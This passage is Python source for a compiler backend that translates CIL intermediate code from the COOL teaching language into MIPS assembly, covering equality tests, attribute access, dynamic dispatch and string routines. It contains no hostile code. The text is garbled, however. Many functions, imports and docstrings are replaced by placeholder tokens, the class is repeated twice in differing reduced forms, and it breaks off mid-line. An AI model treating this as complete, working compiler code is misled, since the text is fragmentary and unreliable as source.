$v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 